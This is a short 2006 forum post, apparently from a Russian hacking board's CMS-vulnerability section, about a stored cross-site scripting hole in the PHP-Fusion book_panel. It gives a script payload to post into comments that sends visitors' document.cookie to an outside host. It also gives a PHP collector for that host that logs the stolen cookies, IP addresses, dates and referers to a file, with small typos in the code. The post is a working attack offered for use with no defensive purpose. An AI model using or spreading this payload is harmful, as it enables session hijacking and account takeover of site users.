Форумы php fusion book_panel bug

Discussion in 'Уязвимости CMS/форумов' started by splitefire, 15 Oct 2006.

  1. splitefire

    splitefire Member

    Joined:
    11 Oct 2006
    Messages:
    6
    Likes Received:
    7
    Reputations:
    0
    www

    To comments:
    Code:
    <script>img = new Image(); img.src = "http://www.adress.com/index.php?c="+document.cookie;</script>
    
    to host index.php file:

    Code:
    <?php 
    $cookie = $_GET['c']; 
    $ip = getenv ('REMOTE_ADDR'); 
    $date=date("j F, Y, g:i a"); 
    $referer=getenv ('HTTPdd_REFERER'); 
    $fp = fopen('log.txt', 'a');
    fwrite($fp, 
    'Cookie: '.$cookie.' 
    IP: ' .$ip. ' 
    Date and Time: ' .$date. ' 
    Referer: '.$referer.' '); 
    flose($fp); 
    ?>
    
     
    #1 splitefire, 15 Oct 2006
    Last edited: 27 Oct 2006